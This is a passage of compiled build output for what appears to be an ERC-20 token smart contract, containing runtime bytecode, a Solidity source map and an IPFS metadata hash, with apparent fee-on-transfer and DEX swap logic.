6602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5d919061139e565b81600181518110610f7057610f70611446565b6001600160a01b039283166020918202929092010152601254610f9691309116846107a6565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fcf90859060009086903090429060040161145c565b600060405180830381600087803b158015610fe957600080fd5b505af1158015610ffd573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561104c573d6000803e3d6000fd5b5050565b60008061105d83856114cd565b905083811015610e3a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610354565b6000610e3a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152505b600081848411156111115760405162461bcd60e51b81526004016103549190611155565b50600061111e84866114e0565b95945050505050565b600081836111485760405162461bcd60e51b81526004016103549190611155565b50600061111e8486611424565b600060208083528351808285015260005b8181101561118257858101830151858201604001528201611166565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146111b857600080fd5b50565b600080604083850312156111ce57600080fd5b82356111d9816111a3565b946020939093013593505050565b6000806000606084860312156111fc57600080fd5b8335611207816111a3565b92506020840135611217816111a3565b929592945050506040919091013590565b60006020828403121561123a57600080fd5b8135610e3a816111a3565b6000806040838503121561125857600080fd5b8235611263816111a3565b91506020830135611273816111a3565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156112cf5781600019048211156112b5576112b561127e565b808516156112c257918102915b93841c9390800290611299565b509250929050565b6000826112e6575060016102b3565b816112f3575060006102b3565b816001811461130957600281146113135761132f565b60019150506102b3565b60ff8411156113245761132461127e565b50506001821b6102b3565b5060208310610133831016604e8410600b8410161715611352575081810a6102b3565b61135c8383611294565b80600019048211156113705761137061127e565b029392505050565b6000610e3a60ff8416836112d7565b80820281158282048414176102b3576102b361127e565b6000602082840312156113b057600080fd5b8151610e3a816111a3565b6000806000606084860312156113d057600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156113fb57600080fd5b81518015158114610e3a57600080fd5b60006001820161141d5761141d61127e565b5060010190565b60008261144157634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114ac5784516001600160a01b031683529383019391830191600101611487565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102b3576102b361127e565b818103818111156102b3576102b361127e56fea2646970667358221220e07910a38b8f170e87a09b42d5b6fd5598fae0cb6b972442935725c93999c94964736f6c63430008150033

3574:7151:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5819:83;;;;;;;;;;-1:-1:-1;5889:5:0;;;;;;;;;;;;-1:-1:-1;;;5889:5:0;;;;5819:83;;;;;;;:::i;:::-;;;;;;;;6652:161;;;;;;;;;;-1:-1:-1;6652:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6652:161:0;1023:187:1;6096:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;6096:95:0;1215:177:1;6821:241:0;;;;;;;;;;-1:-1:-1;6821:241:0;;;;;:::i;:::-;;:::i;6005:83::-;;;;;;;;;;-1:-1:-1;6005:83:0;;4560:1;2000:36:1;;1988:2;1973:18;6005:83:0;1858:184:1;6199:119:0;;;;;;;;;;-1:-1:-1;6199:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6292:18:0;6265:7;6292:18;;;:9;:18;;;;;;;6199:119;2655:148;;;;;;;;;;;;;:::i;:::-;;2441:79;;;;;;;;;;-1:-1:-1;2479:7:0;2506:6;2441:79;;-1:-1:-1;;;;;2506:6:0;;;2445:51:1;;2433:2;2418:18;2441:79:0;2299:203:1;5910:87:0;;;;;;;;;;-1:-1:-1;5982:7:0;;;;;;;;;;;;-1:-1:-1;;;5982:7:0;;;;5910:87;;6326:167;;;;;;;;;;-1:-1:-1;6326:167:0;;;;;:::i;:::-;;:::i;10016:669::-;;;;;;;;;;;;;:::i;6501:143::-;;;;;;;;;;-1:-1:-1;6501:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6609:18:0;;;6582:7;6609:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6501:143;6652:161;6727:4;6744:39;276:10;6767:7;6776:6;6744:8;:39::i;:::-;-1:-1:-1;6801:4:0;6652:161;;;;;:::o;6096:95::-;6149:7;4621:13;4560:1;4621:2;:13;:::i;:::-;4603:31;;:15;:31;:::i;:::-;6169:14;;6096:95;:::o;6821:241::-;6919:4;6936:36;6946:6;6954:9;6965:6;6936:9;:36::i;:::-;6983:49;6992:6;7000:9;7011:6;276:10;6983:8;:49::i;:::-;-1:-1:-1;7050:4:0;6821:241;;;;;:::o;2655:148::-;2568:6;;-1:-1:-1;;;;;2568:6:0;276:10;2568:22;2560:67;;;;-1:-1:-1;;;2560:67:0;;4790:2:1;2560:67:0;;;4772:21:1;;;4809:18;;;4802:30;4868:34;4848:18;;;4841:62;4920:18;;2560:67:0;;;;;;;;;2762:1:::1;2746:6:::0;;2725:40:::1;::::0;-1:-1:-1;;;;;2746:6:0;;::::1;::::0;2725:40:::1;::::0;2762:1;;2725:40:::1;2793:1;2776:19:::0;;-1:-1:-1;;;;;;2776:19:0::1;::::0;;2655:148::o;6326:167::-;6404:4;6421:42;276:10;6445:9;6456:6;6421:9;:42::i;10016:669::-;2568:6;;-1:-1:-1;;;;;2568:6:0;276:10;2568:22;2560:67;;;;-1:-1:-1;;;2560:67:0;;4790:2:1;2560:67:0;;;4772:21:1;;;4809:18;;;4802:30;4868:34;4848:18;;;4841:62;4920:18;;2560:67:0;4588:356:1;2560:67:0;10080:11:::1;::::0;-1:-1:-1;;;10080:11:0;::::1;;;10079:12;10071:47;;;::::0;-1:-1:-1;;;10071:47:0;;5151:2:1;10071:47:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;5229:25;5209:18;;;5202:53;5272:18;;10071:47:0::1;4949:347:1::0;10071:47:0::1;10129:15;:80:::0;;-1:-1:-1;;;;;;10129:80:0::1;10166:42;10129:80:::0;;::::1;::::0;;;10220:58:::1;::::0;10237:4:::1;::::0;4621:13:::1;4560:1;4621:2;:13;:::i;:::-;4603:31;::::0;:15:::1;:31;:::i;:::-;10220:8;:58::i;:::-;10322:15;;;;;;;;;-1:-1:-1::0;;;;;10322:15:0::1;-1:-1:-1::0;;;;;10322:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10304:55:0::1;;10368:4;10375:15;;;;;;;;;-1:-1:-1::0;;;;;10375:15:0::1;-1:-1:-1::0;;;;;10375:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10304:94;::::0;-1:-1:-1;;;;;;10304:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5787:15:1;;;10304:94:0::1;::::0;::::1;5769:34:1::0;5839:15;;5819:18;;;5812:43;5704:18;;10304:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10289:12;:109:::0;;-1:-1:-1;;;;;10289:109:0;;::::1;-1:-1:-1::0;;;;;;10289:109:0;;::::1;;::::0;;10409:15:::1;::::0;::::1;:31;10448:21;10479:4;10485:24;10479:4:::0;-1:-1:-1;;;;;6292:18:0;6265:7;6292:18;;;:9;:18;;;;;;;6199:119;10485:24:::1;10510:1;10512::::0;10514:7:::1;2479::::0;2506:6;-1:-1:-1;;;;;2506:6:0;;2441:79;10514:7:::1;10409:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10409:129:0;;;-1:-1:-1;;;;;6225:15:1;;;10409:129:0::1;::::0;::::1;6207:34:1::0;6257:18;;;6250:34;;;;6300:18;;;6293:34;;;;6343:18;;;6336:34;6407:15;;;6386:19;;;6379:44;10522:15:0::1;6439:19:1::0;;;6432:35;6141:19;;10409:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10556:12:0::1;::::0;10586:15:::1;::::0;10549:70:::1;::::0;-1:-1:-1;;;10549:70:0;;-1:-1:-1;;;;;10586:15:0;;::::1;10549:70;::::0;::::1;6963:51:1::0;-1:-1:-1;;7030:18:1;;;7023:34;10556:12:0;::::1;::::0;-1:-1:-1;10549:28:0::1;::::0;6936:18:1;;10549:70:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10630:11:0::1;:18:::0;;-1:-1:-1;;;;10659:18:0;-1:-1:-1;;;10659:18:0;;;10016:669::o;7354:335::-;-1:-1:-1;;;;;7447:19:0;;7439:68;;;;-1:-1:-1;;;7439:68:0;;7552:2:1;7439:68:0;;;7534:21:1;7591:2;7571:18;;;7564:30;7630:34;7610:18;;;7603:62;-1:-1:-1;;;7681:18:1;;;7674:34;7725:19;;7439:68:0;7350:400:1;7439:68:0;-1:-1:-1;;;;;7526:21:0;;7518:68;;;;-1:-1:-1;;;7518:68:0;;7957:2:1;7518:68:0;;;7939:21:1;7996:2;7976:18;;;7969:30;8035:34;8015:18;;;8008:62;-1:-1:-1;;;8086:18:1;;;8079:32;8128:19;;7518:68:0;7755:398:1;7518:68:0;-1:-1:-1;;;;;7597:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7649:32;;1361:25:1;;;7649:32:0;;1334:18:1;7649:32:0;;;;;;;7354:335;;;:::o;7697:1606::-;-1:-1:-1;;;;;7785:18:0;;7777:68;;;;-1:-1:-1;;;7777:68:0;;8360:2:1;7777:68:0;;;8342:21:1;8399:2;8379:18;;;8372:30;8438:34;8418:18;;;8411:62;-1:-1:-1;;;8489:18:1;;;8482:35;8534:19;;7777:68:0;8158:401:1;7777:68:0;-1:-1:-1;;;;;7864:16:0;;7856:64;;;;-1:-1:-1;;;7856:64:0;;8766:2:1;7856:64:0;;;8748:21:1;8805:2;8785:18;;;8778:30;8844:34;8824:18;;;8817:62;-1:-1:-1;;;8895:18:1;;;8888:33;8938:19;;7856:64:0;8564:399:1;7856:64:0;7948:1;7939:6;:10;7931:64;;;;-1:-1:-1;;;7931:64:0;;9170:2:1;7931:64:0;;;9152:21:1;9209:2;9189:18;;;9182:30;9248:34;9228:18;;;9221:62;-1:-1:-1;;;9299:18:1;;;9292:39;9348:19;;7931:64:0;8968:405:1;7931:64:0;8006:17;2506:6;;-1:-1:-1;;;;;8040:15:0;;;2506:6;;8040:15;;;;:32;;-1:-1:-1;2479:7:0;2506:6;-1:-1:-1;;;;;8059:13:0;;;2506:6;;8059:13;;8040:32;8036:877;;;8101:76;8173:3;8101:67;8123:15;;8113:9;;:25;8112:55;;8153:14;;8112:55;;;8140:12;;8112:55;8101:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8206:12;;8089:88;;-1:-1:-1;;;;;;8198:20:0;;;8206:12;;8198:20;:54;;;;-1:-1:-1;8236:15:0;;-1:-1:-1;;;;;8222:30:0;;;8236:15;;8222:30;;8198:54;:78;;;;-1:-1:-1;;;;;;8258:18:0;;;;;;:14;:18;;;;;;;;8256:20;8198:78;8194:131;;;8298:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8194:131;8350:12;;-1:-1:-1;;;;;8344:18:0;;;8350:12;;8344:18;:42;;;;-1:-1:-1;;;;;;8366:20:0;;8381:4;8366:20;;8344:42;8341:173;;;8419:79;8494:3;8419:70;8441:16;;8431:9;;:26;8430:58;;8473:15;;8430:58;;;8459:13;;8419:6;;:10;:70::i;:79::-;8407:91;;8341:173;8579:4;8530:28;6292:18;;;:9;:18;;;;;;8605:6;;-1:-1:-1;;;8605:6:0;;;;8604:7;:29;;;;-1:-1:-1;8621:12:0;;-1:-1:-1;;;;;8615:18:0;;;8621:12;;8615:18;8604:29;:44;;;;-1:-1:-1;8637:11:0;;-1:-1:-1;;;8637:11:0;;;;8604:44;:78;;;;;8664:18;;8652:9;;:30;8604:78;8600:302;;;8729:13;;8706:20;:36;8703:129;;;8761:71;8778:53;8782:6;8790:40;8794:20;8816:13;;8790:3;:40::i;:::-;8778:3;:53::i;:::-;8761:16;:71::i;:::-;8851:35;8864:21;8851:12;:35::i;:::-;8074:839;8036:877;8928:11;;8925:161;;8996:4;8978:24;;;;:9;:24;;;;;;:39;;9007:9;8978:28;:39::i;:::-;8971:4;8953:24;;;;:9;:24;;;;;;;:64;;;;9035:39;;-1:-1:-1;;;;;9035:39:0;;;;;;;9064:9;1361:25:1;;1349:2;1334:18;;1215:177;9035:39:0;;;;;;;;8925:161;9106:9;;-1:-1:-1;;;;;9100:15:0;;;9106:9;;9100:15;9096:80;;-1:-1:-1;;;;;9135:41:0;;;;;;;9154:21;:6;9165:9;9154:10;:21::i;:::-;9135:41;;1361:25:1;;;1349:2;1334:18;9135:41:0;;;;;;;9096:80;-1:-1:-1;;;;;9203:15:0;;;;;;:9;:15;;;;;;:27;;9223:6;9203:19;:27::i;:::-;-1:-1:-1;;;;;9187:15:0;;;;;;:9;:15;;;;;:43;9255:40;9273:21;:6;9284:9;9273:10;:21::i;:::-;-1:-1:-1;;;;;9255:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9241:13:0;;;;;;;:9;:13;;;;;:54;;;;-1:-1:-1;;;7697:1606:0:o;7070:276::-;7184:12;;-1:-1:-1;;;;;7175:21:0;;;7184:12;;7175:21;;:44;;-1:-1:-1;7210:9:0;;-1:-1:-1;;;;;7200:19:0;;;7210:9;;7200:19;;7175:44;7174:69;;;;-1:-1:-1;7234:9:0;;-1:-1:-1;;;;;7224:19:0;;;7234:9;;7224:19;;7174:69;7170:168;;;7278:59;;;;;;;;;;;-1:-1:-1;;;7278:59:0;;;;;;;;-1:-1:-1;;;;;7278:18:0;;;-1:-1:-1;7278:18:0;;;:11;:18;;;;;:26;;;;;;;;;;;;7254:84;;7263:5;;7270:6;;7278:59;;:26;7309:6;;7278:30;:59::i;7254:84::-;7070:276;;;;:::o;1531:246::-;1589:7;1613:1;1618;1613:6;1609:47;;-1:-1:-1;1643:1:0;1636:8;;1609:47;1666:9;1678:5;1682:1;1678;:5;:::i;:::-;1666:17;-1:-1:-1;1711:1:0;1702:5;1706:1;1666:17;1702:5;:::i;:::-;:10;1694:56;;;;-1:-1:-1;;;1694:56:0;;9942:2:1;1694:56:0;;;9924:21:1;9981:2;9961:18;;;9954:30;10020:34;10000:18;;;9993:62;-1:-1:-1;;;10071:18:1;;;10064:31;10112:19;;1694:56:0;9740:397:1;1694:56:0;1768:1;1531:246;-1:-1:-1;;;1531:246:0:o;1785:132::-;1843:7;1870:39;1874:1;1877;1870:39;;;;;;;;;;;;;;;;;:3;:39::i;9311:98::-;9368:7;9395:1;9393;:3;9392:9;;9400:1;9392:9;;;-1:-1:-1;9398:1:0;9311:98;-1:-1:-1;9311:98:0:o;9417:483::-;5031:6;:13;;-1:-1:-1;;;;5031:13:0;-1:-1:-1;;;5031:13:0;;;9519:16:::1;::::0;;9533:1:::1;9519:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9519:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9519:16:0::1;9495:40;;9564:4;9546;9551:1;9546:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9546:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9590:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9590:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9546:7;;9590:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9580:4;9585:1;9580:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9580:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9655:15:::1;::::0;9623:62:::1;::::0;9640:4:::1;::::0;9655:15:::1;9673:11:::0;9623:8:::1;:62::i;:::-;9696:15;::::0;:196:::1;::::0;-1:-1:-1;;;9696:196:0;;-1:-1:-1;;;;;9696:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9777:11;;9696:15:::1;::::0;9819:4;;9846::::1;::::0;9866:15:::1;::::0;9696:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5067:6:0;:14;;-1:-1:-1;;;;5067:14:0;;;-1:-1:-1;;;;9417:483:0:o;9908:100::-;9973:9;;9965:35;;-1:-1:-1;;;;;9973:9:0;;;;9965:35;;;;;9993:6;;9973:9;9965:35;9973:9;9965:35;9993:6;9973:9;9965:35;;;;;;;;;;;;;;;;;;;;;9908:100;:::o;1002:179::-;1060:7;;1092:5;1096:1;1092;:5;:::i;:::-;1080:17;;1121:1;1116;:6;;1108:46;;;;-1:-1:-1;;;1108:46:0;;11723:2:1;1108:46:0;;;11705:21:1;11762:2;11742:18;;;11735:30;11801:29;11781:18;;;11774:57;11848:18;;1108:46:0;11521:351:1;1189:136:0;1247:7;1274:43;1278:1;1281;1274:43;;;;;;;;;;;;;;;;;1333:190;1419:7;1455:12;1447:6;;;;1439:29;;;;-1:-1:-1;;;1439:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1479:9:0;1491:5;1495:1;1491;:5;:::i;:::-;1479:17;1333:190;-1:-1:-1;;;;;1333:190:0:o;1925:189::-;2011:7;2046:12;2039:5;2031:28;;;;-1:-1:-1;;;2031:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2070:9:0;2082:5;2086:1;2082;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;5301:251::-;5371:6;5424:2;5412:9;5403:7;5399:23;5395:32;5392:52;;;5440:1;5437;5430:12;5392:52;5472:9;5466:16;5491:31;5516:5;5491:31;:::i;6478:306::-;6566:6;6574;6582;6635:2;6623:9;6614:7;6610:23;6606:32;6603:52;;;6651:1;6648;6641:12;6603:52;6680:9;6674:16;6664:26;;6730:2;6719:9;6715:18;6709:25;6699:35;;6774:2;6763:9;6759:18;6753:25;6743:35;;6478:306;;;;;:::o;7068:277::-;7135:6;7188:2;7176:9;7167:7;7163:23;7159:32;7156:52;;;7204:1;7201;7194:12;7156:52;7236:9;7230:16;7289:5;7282:13;7275:21;7268:5;7265:32;7255:60;;7311:1;7308;7301:12;9378:135;9417:3;9438:17;;;9435:43;;9458:18;;:::i;:::-;-1:-1:-1;9505:1:1;9494:13;;9378:135::o;9518:217::-;9558:1;9584;9574:132;;9628:10;9623:3;9619:20;9616:1;9609:31;9663:4;9660:1;9653:15;9691:4;9688:1;9681:15;9574:132;-1:-1:-1;9720:9:1;;9518:217::o;10274:127::-;10335:10;10330:3;10326:20;10323:1;10316:31;10366:4;10363:1;10356:15;10390:4;10387:1;10380:15;10406:980;10668:4;10716:3;10705:9;10701:19;10747:6;10736:9;10729:25;10773:2;10811:6;10806:2;10795:9;10791:18;10784:34;10854:3;10849:2;10838:9;10834:18;10827:31;10878:6;10913;10907:13;10944:6;10936;10929:22;10982:3;10971:9;10967:19;10960:26;;11021:2;11013:6;11009:15;10995:29;;11042:1;11052:195;11066:6;11063:1;11060:13;11052:195;;;11131:13;;-1:-1:-1;;;;;11127:39:1;11115:52;;11222:15;;;;11187:12;;;;11163:1;11081:9;11052:195;;;-1:-1:-1;;;;;;;11303:32:1;;;;11298:2;11283:18;;11276:60;-1:-1:-1;;;11367:3:1;11352:19;11345:35;11264:3;10406:980;-1:-1:-1;;;10406:980:1:o;11391:125::-;11456:9;;;11477:10;;;11474:36;;;11490:18;;:::i;11877:128::-;11944:9;;;11965:11;;;11962:37;;;11979:18;;:::i

ipfs://e07910a38b8f170e87a09b42d5b6fd5598fae0cb6b972442935725c93999c949